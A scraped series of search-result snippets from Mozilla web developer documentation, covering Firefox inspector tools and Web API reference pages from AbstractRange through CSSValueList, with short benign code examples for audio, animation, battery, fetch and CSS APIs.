... how to to find out what you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view background images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Split console - Firefox Developer Tools
you can use the console alongside other tools.
... you can close the split console by pressing esc again, or by selecting the "hide split console" menu command.
...you'll get autocomplete for objects defined in the function, and can easily modify them on the fly: ...
AbstractRange.endContainer - Web APIs
the endcontainer property of the abstractrange interface returns the node in which the end of the range is located.
... specifications specification status comment domthe definition of 'endcontainer' in that specification.
... living standard static rangethe definition of 'endcontainer' in that specification.
AbstractRange.endOffset - Web APIs
syntax var endoffset = range.endoffset; value an integer value indicating the number of characters into the node indicated by endcontainer at which the final character of the range is located.
... specifications specification status comment domthe definition of 'endoffset' in that specification.
... living standard static rangethe definition of 'endoffset' in that specification.
AbstractRange.startOffset - Web APIs
syntax var startoffset = range.startoffset value an integer value indicating the number of characters into the node indicated by startcontainer at which the first character of the range is located.
... specifications specification status comment domthe definition of 'startoffset' in that specification.
... living standard static rangethe definition of 'startoffset' in that specification.
AesCtrParams - Web APIs
this extra block is called the "counter block".
... typically this is achieved by splitting the initial counter block value into two concatenated parts: a nonce (that is, a number that may only be used once).
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesctrparams' in that specification.
AnalyserNode.fftSize - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount ; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === ...
...0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'fftsize' in that specification.
AnalyserNode.getByteTimeDomainData() - Web APIs
return value void | none example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; const bufferlength = analyser.fftsize; const dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; const slicewidth = width * 1.0 / bufferlength; let x = 0; canvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/128.0; const y = v * height/2; if(i === 0) canvasctx.moveto(x, y); e...
...lse canvasctx.lineto(x, y); x += slicewidth; } canvasctx.lineto(width, height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'getbytetimedomaindata()' in that specification.
Animation() - Web APIs
this can be null (which is the default) to indicate that there should be no effect applied.
...the default value is document.timeline, but this can be set to null as well.
... examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkeyframes using the document's timeline: var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification.
Animation.currentTime - Web APIs
examples in the drink me/eat me game, alice's height is animated so it can go from small to large or large to small.
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications specification status comment web animationsthe definition of 'currenttime' in that specification.
Animation.pause() - Web APIs
WebAPIAnimationpause
example animation.pause() is used many times in the alice in web animations api land growing/shrinking alice game, largely because animations created with the element.animate() method immediately start playing and must be paused manually if you want to avoid that: // animation of the cupcake slowly getting eaten up var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: al...
...icechange.effect.timing.duration / 2 }); // doesn't actually need to be eaten until a click event, so pause it initially: nommingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); nommingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations.
... cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.ready - Web APIs
WebAPIAnimationready
a new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be started again.
...you'll typically use a construct similar to this when using the ready promise: animation.ready.then(function() { // do whatever needs to be done when // the animation is ready to run }); example in the following example, the state of the animation will be running when the current ready promise is resolved because the animation does not leave the pending play state in between the calls to pause and play and hence the current ready promise does not change.
... animation.pause(); animation.ready.then(function() { // displays 'running' alert(animation.playstate); }); animation.play(); specifications specification status comment web animationsthe definition of 'animation.ready' in that specification.
AnimationEffect - Web APIs
the animationeffect interface of the web animations api defines current and future animation effects like keyframeeffect, which can be passed to animation objects for playing, and keyframeeffectreadonly (which is used by css animations and transitions).
... animationeffect.getcomputedtiming() returns the calculated timing properties for this animationeffect.
... specifications specification status comment web animationsthe definition of 'animationeffect' in that specification.
AnimationEvent() - Web APIs
it is case-sensitive and can be: 'animationstart', 'animationend', or 'animationiteration'.
...for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... specifications specification status comment css animationsthe definition of 'animationevent()' in that specification.
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
eventinitdict optional an optional eventinit dictionary object containing the following fields: bubbles optional defaults to false, of type boolean, indicating if the event bubbles or not.
... cancelable optional defaults to false, of type boolean, indicating if the event can be canceled or not.
... specifications specification status comment web animationsthe definition of 'animationplaybackevent()' in that specification.
ArrayBufferView - Web APIs
this is a helper type to simplify the specification; it isn't an interface, and there are no objects implementing it.
... specifications specification status comment web idlthe definition of 'arraybufferview' in that specification.
... candidate recommendation initial definition.
AudioBuffer() - Web APIs
deprecated parameters context a reference to an audiocontext.
... rangeerror there isn't enough memory available to allocate the buffer.
... specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
loop: a boolean indicating whether the audio should play in a loop.
...if the loop is dynamically modified during playback, the new value will take effect on the next processing block of audio.
... specifications specification status comment web audio apithe definition of 'audiobuffersourcenode()' in that specification.
AudioConfiguration - Web APIs
the audioconfiguration dictionary of the media capabilities api defines the audio file being tested when calling mediacapabilities.encodinginfo() or mediacapabilities.decodinginfo() to query whether a specific audio configuration is supported, smooth, and/or power efficient.
... } }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
...'' : 'not ') + 'power efficient.' }); specifications specification status comment media capabilitiesthe definition of 'audioconfiguration' in that specification.
AudioContext.getOutputTimestamp() - Web APIs
basically, this is the time after the audio context was first created.
... you can see full code of this example at output-timestamp (see it live also).
... play.addeventlistener('click', () => { if(!audioctx) { audioctx = new window.audiocontext(); } getdata(); source.start(0); play.setattribute('disabled', 'disabled'); raf = requestanimationframe(outputtimestamps); }); stop.addeventlistener('click', () => { source.stop(0); play.removeattribute('disabled'); cancelanimationframe(raf); }); // function to output timestamps function outputtimestamps() { let ts = audioctx.getoutputtimestamp() console.log('context time: ' + ts.contexttime + ' | performance time: ' + ts.performancetime); raf = requestanimationframe(outputtimestamps); } specifications specification status comment web audio apithe definition of 'getoutputtimestamp()' in that specification.
AudioNode.disconnect() - Web APIs
the disconnect() method of the audionode interface lets you disconnect one or more nodes from the node on which the method is called.
... invalidaccesserror the node on which disconnect() was called isn't connected to the specified destination node.
... example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); gainnode.disconnect(); specifications specification status comment web audio apithe definition of 'disconnect' in that specification.
AudioParam.setValueCurveAtTime() - Web APIs
the curve is a linear interpolation between the sequence of values defined in an array of floating-point values, which are scaled to fit into the given interval starting at starttime and a specific duration.
... note: some early implementations of the web audio api did not ensure this to be the case, causing unexpected results.
...e.connect(audioctx.destination); // set button to do something onclick var wavearray = new float32array(9); wavearray[0] = 0.5; wavearray[1] = 1; wavearray[2] = 0.5; wavearray[3] = 0; wavearray[4] = 0.5; wavearray[5] = 1; wavearray[6] = 0.5; wavearray[7] = 0; wavearray[8] = 0.5; valuecurve.onclick = function() { gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); } specifications specification status comment web audio apithe definition of 'setvaluecurveattime' in that specification.
AudioParamDescriptor - Web APIs
under this name the audioparam will be available in the parameters property of the node, and under this name the audioworkletprocessor.process method will acquire the calculated values of this audioparam.
...here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well).
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'audioparamdescriptor' in that specification.
AudioTrack.language - Web APIs
example this example locates all of a media element's primary language and translated audio tracks and returns a list of objects containing each of those tracks' id, kind, and language.
... function getavailablelanguages(el) { var tracklist = []; const wantedkinds = [ "main", "translation" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, language: track.language }); } }); return tracklist; } specifications specification status comment html living standardthe definition of 'audiotrack.language' in that specification.
... living standard html5the definition of 'audiotrack.language' in that specification.
AudioWorkletGlobalScope.registerProcessor - Web APIs
typeerror the processorctor is not a callable constructor, or the parameterdescriptors property of the constructor exists and doesn't return an array of audioparamdescriptor-based objects.
... // test-processor.js class testprocessor extends audioworkletprocessor { process (inputs, outputs, parameters) { return true } } registerprocessor('test-processor', testprocessor) next, in our main script file we'll load the processor, create an instance of audioworkletnode — passing it the processor name that we used when calling registerprocessor — and connect it to an audio graph.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const node = new audioworkletnode(audiocontext, 'test-processor') node.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'registerprocessor()' in that specification.
AudioWorkletNode.parameters - Web APIs
they can be automated in the same way as with default audionodes, and their calculated values can be used in the process method of your audioworkletprocessor.
...here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well).
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameters' in that specification.
AudioWorkletNode.port - Web APIs
it can be used to communicate between the node and its associated audioworkletprocessor.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
... specifications specification status comment web audio apithe definition of 'port' in that specification.
AudioWorkletProcessor() - Web APIs
syntax the audioworkletprocessor and classes that derive from it cannot be instantiated directly from a user-supplied code.
... processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor.
...ocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor', { processoroptions: { someusefulvariable: new map([[1, 'one'], [2, 'two']]) } }) the console output will be as follows: > 1 // audioworkletnode options.numberofinputs set to default > map(2) {1 => "one", 2 => "two"} // a cloned map under someusefulvariable specifications specification status comment web audio apithe definition of 'audioworkletprocessor()' in that specification.
AudioWorkletProcessor.port - Web APIs
it can be used to communicate between the processor and the audioworkletnode to which it belongs.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
... specifications specification status comment web audio apithe definition of 'port' in that specification.
BaseAudioContext.createAnalyser() - Web APIs
the createanalyser() method of the baseaudiocontext interface creates an analysernode, which can be used to expose audio time and frequency data and create data visualisations.
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === ...
...0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'createanalyser()' in that specification.
BaseAudioContext.createBufferSource() - Web APIs
the createbuffersource() method of the baseaudiocontext interface is used to create a new audiobuffersourcenode, which can be used to play audio data contained within an audiobuffer object.
... note: you can also run the code live, or view the source.
... // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specifications specification status comment web audio apithe definition of 'createbuffersource()' in that specification.
BaseAudioContext.createDelay() - Web APIs
syntax var delaynode = audioctx.createdelay(maxdelaytime); parameters maxdelaytime optional the maximum amount of time, in seconds, that the audio signal can be delayed by.
... example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code).
... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'createdelay()' in that specification.
BaseAudioContext.createGain() - Web APIs
the creategain() method of the baseaudiocontext interface creates a gainnode, which can be used to control the overall gain (or volume) of the audio graph.
...iv> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
... gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'creategain()' in that specification.
BaseAudioContext.currentTime - Web APIs
the currenttime read-only property of the baseaudiocontext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback, visualizing timelines, etc.
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications specification status comment web audio apithe definition of 'currenttime' in that specification.
BatteryManager.charging - Web APIs
a boolean value indicating whether or not the device's battery is currently being charged.
... syntax var charging = battery.charging on return, charging indicates whether or not the battery, which is a batterymanager object, is currently being charged; if the battery is charging, this value is true.
... example html content <div id="charging">(charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.chargingTime - Web APIs
indicates the amount of time, in seconds, that remain until the battery is fully charged.
... even if the time returned is precise to the second, browsers round them to a higher interval (typically to the closest 15 minutes) for privacy reasons.
... example html content <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
indicates the amount of time, in seconds, that remains until the battery is fully discharged.
... even if the time returned is precise to the second, browsers round them to a higher interval (typically to the closest 15 minutes) for privacy reasons.
... example html content <div id="dischargingtime">(discharging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.level - Web APIs
indicates the current battery charge level as a value between 0.0 and 1.0.
... syntax var level = battery.level on return, level is a number representing the system's battery charge level scaled to a value between 0.0 and 1.0.
... example html content <div id="level">(battery level unknown)</div> javascript content navigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').textcontent = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BeforeUnloadEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace...
...arget="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeunloadevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes target objects defaultview interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
... window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification.
Blob.arrayBuffer() - Web APIs
WebAPIBlobarrayBuffer
this can happen, for example, if the reader used to fetch the blob's data throws an exception.
... usage notes while similar to the filereader.readasarraybuffer() method, arraybuffer() returns a promise rather than being an event-based api, as is the case with the filereader interface's method.
... specifications specification status comment file apithe definition of 'blob.arraybuffer()' in that specification.
Bluetooth.getAvailability() - Web APIs
the getavailability() method of bluetooth interface of web bluetooth api interface exposes the bluetooth capabilities of the current device.
...also, user can configure user agent to return a fixed value instead of a real one.
...bluetooth is not supported"); }); specifications specification status comment web bluetooththe definition of 'getavailability()' in that specification.
Bluetooth - Web APIs
WebAPIBluetooth
methods bluetooth.getavailability() returns a promise that resolved to a boolean indicating whether the user-agent has the ability to support bluetooth.
... bluetooth.getdevices() returns a promise that resolved to an array of bluetoothdevices which the origin already obtained permission for via a call to bluetooth.requestdevice().
... specifications specification status comment web bluetooththe definition of 'bluetooth' in that specification.
BluetoothRemoteGATTDescriptor - Web APIs
bluetoothremotegattdescriptor.valueread only returns the currently cached descriptor value.
... methods bluetoothremotegattdescriptor.readvalue() returns a promise that resolves to an arraybuffer holding a duplicate of the value property if it is available and supported.
... specifications specification status comment web bluetooththe definition of 'bluetoothremotegattdescriptor' in that specification.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
the bodyused read-only property of the body mixin contains a boolean that indicates whether the body has been read yet.
... notice that we log response.bodyused to the console once before the response.blob() call and once after.
...nt var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'bodyused' in that specification.
Body.json() - Web APIs
WebAPIBodyjson
this object could be anything that can be represented by json — an object, an array, a string, a number...
... const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }.
... cost: ` ); listitem.appendchild( document.createelement('strong') ).textcontent = `£${product.price}`; mylist.appendchild(listitem); } }) .catch(console.error); specifications specification status comment fetchthe definition of 'body.json()' in that specification.
Body - Web APIs
WebAPIBody
body.bodyused read only a boolean that indicates whether the body has been read.
... examples the example below uses a simple fetch call to grab an image and display it in an <img> tag.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification.
BudgetState.budgetAt - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
BudgetState.time - Web APIs
WebAPIBudgetStatetime
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettime experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
BufferSource - Web APIs
this is a helper type to simplify the specification.
... specifications specification status comment web idlthe definition of 'buffersource' in that specification.
... candidate recommendation initial definition.
CSS.supports() - Web APIs
WebAPICSSsupports
the css.supports() method returns a boolean value indicating if the browser supports a given css feature, or not.
... examples result = css.supports("text-decoration-style", "blink"); result = css.supports("display: flex"); result = css.supports("(--foo: red)"); result = css.supports(`(transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve)`); // result is true or false specification specification status comment css conditional rules module level 3the definition of 'css: supports()' in that specification.
... candidate recommendation initial definition.
CSSCounterStyleRule - Web APIs
inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssrule" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssrule</text></a><polyline points="76,25 86,2...
... specifications specification status comment css counter styles level 3the definition of 'csscounterstylerule' in that specification.
... candidate recommendation initial definition.
CSSMathProduct.values - Web APIs
the cssmathproduct.values read-only property of the cssmathproduct interface returns a cssnumericarray object which contains one or more cssnumericvalue objects.
... syntax var cssnumericarray = cssmathproduct.values; value a cssnumericarray.
... specifications specification status comment css typed om level 1the definition of 'values' in that specification.
CSSMathProduct - Web APIs
the cssmathproduct interface of the css typed object model api represents the result obtained by calling add(), sub(), or tosum() on cssnumericvalue.
... properties cssmathproduct.values returns a cssnumericarray object which contains one or more cssnumericvalue objects.
... specifications specification status comment css typed om level 1the definition of 'cssmathproduct' in that specification.
CSSMathSum.values - Web APIs
WebAPICSSMathSumvalues
the cssmathsum.values read-only property of the cssmathsum interface returns a cssnumericarray object which contains one or more cssnumericvalue objects.
... syntax var cssnumericarray = cssmathsum.values; value a cssnumericarray.
... specifications specification status comment css typed om level 1the definition of 'values' in that specification.
CSSNumericValue.to() - Web APIs
exceptions syntaxerror indicates that an invalid type was passed to the method.
... typeerror indicates that the passed values cannot be summed.
... examples // prints "0.608542cm" console.log(css.px("23").to("com").tostring()); specifications specification status comment css typed om level 1the definition of 'to' in that specification.
CSSNumericValue - Web APIs
the cssnumericvalue interface of the css typed object model api represents operations that all numeric values can perform.
... cssmathinvert cssmathmax cssmathmin cssmathnegate cssmathproduct cssmathsum cssmathvalue cssnumericarray cssperspective csspositionvalue cssrotate cssskew cssskeyx cssskeyw csstranslate cssunitvalue properties none.
... specifications specification status comment css typed om level 1the definition of 'cssnumericvalue' in that specification.
CSSPrimitiveValue.getRGBColorValue() - Web APIs
modification to the corresponding style property can be achieved using the rgbcolor interface.
... exceptions type description domexception an invalid_access_err is raised if the attached property can't return an rgb color value (i.e.
... example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.getrgbcolorvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrgbcolorvalue' in that specification.
CSSPseudoElement - Web APIs
instances of this interface may be obtained by calling element.pseudo().
... examples basic example using element.pseudo using pseudo-elements, most modern browsers will automatically add quotation marks around text inside a <q> element.
... const element = document.queryselector('q'); const csspseudoelement = element.pseudo('::before'); console.log(csspseudoelement.element); // outputs [object htmlquoteelement] console.log(csspseudoelement.type); // outputs '::before' specifications specification status comment css pseudo-elements level 4the definition of 'csspseudoelement' in that specification.
CSSRuleList - Web APIs
description each cssrule can be accessed as rules.item(index), or simply rules[index], where rules is an object implementing the cssrulelist interface (such as cssstylesheet.cssrules), and index is the 0-based index of the rule, in the order as it appears in the style sheet css.
...if however, for some reason the list does need to be modified but has no parent stylesheet (perhaps being a livecopy of a list that does), it cannot just be assigned one (as it has no such property), and neither can it be assigned to one (as stylesheet.cssrules is read-only), but it must unfortunately be inserted into one, rule by rule, and unless combining lists, after any existing list therein is deleted, rule by rule.
...they are: cssstylesheet property cssrules cssmediarule property cssrules csskeyframesrule property cssrules cssmozdocumentrule property cssrules specifications specification status comment css object model (cssom)the definition of 'cssrulelist' in that specification.
CSSStyleSheet.addRule() - Web APIs
styleblock a domstring indicating the style block to apply to elements matching the selector.
... note that due to somewhat estoteric rules about where you can legally insert rules, it's possible that an exception may be thrown.
... therefore, given existing code such as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite this to use the more standard insertrule() like this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.addrule()' in that specification.
CSSStyleSheet.removeRule() - Web APIs
it is functionally identical to the standard, preferred method deleterule().
... syntax cssstylesheet.removerule(index) parameters index the index into the stylesheet's cssrulelist indicating the rule to be removed.
... mystyles.removerule(0); you can rewrite this to use the standard deleterule() method very easily: mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.removerule()' in that specification.
CSSStyleSheet.rules - Web APIs
rules is a deprecated legacy property of the cssstylesheet interface.
... functionally identical to the preferred cssrules property, it provides access to a live-updating list of the css rules comprising the stylesheet.
... specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.rules' in that specification.
CSSUnitValue.CSSUnitValue() - Web APIs
syntax var cssunitvalue = new cssunitvalue() parameters value returns a double indicating the number of units.
... unit returns a usvstring indicating the type of unit.
... let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSUnitValue - Web APIs
properties cssunitvalue.value returns a double indicating the number of units.
... cssunitvalue.unit returns a usvstring indicating the type of unit.
... let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSValue.cssValueType - Web APIs
css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
... css_value_list the value is a cssvalue list and an instance of the cssvaluelist interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
... example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.cssvaluetype); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.cssvaluetype' in that specification.
CSSValue - Web APIs
WebAPICSSValue
css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
... css_value_list the value is a cssvalue list and an instance of the cssvaluelist interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface.
... specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue' in that specification.
CSSValueList - Web APIs
in that case, these properties take the none identifier.
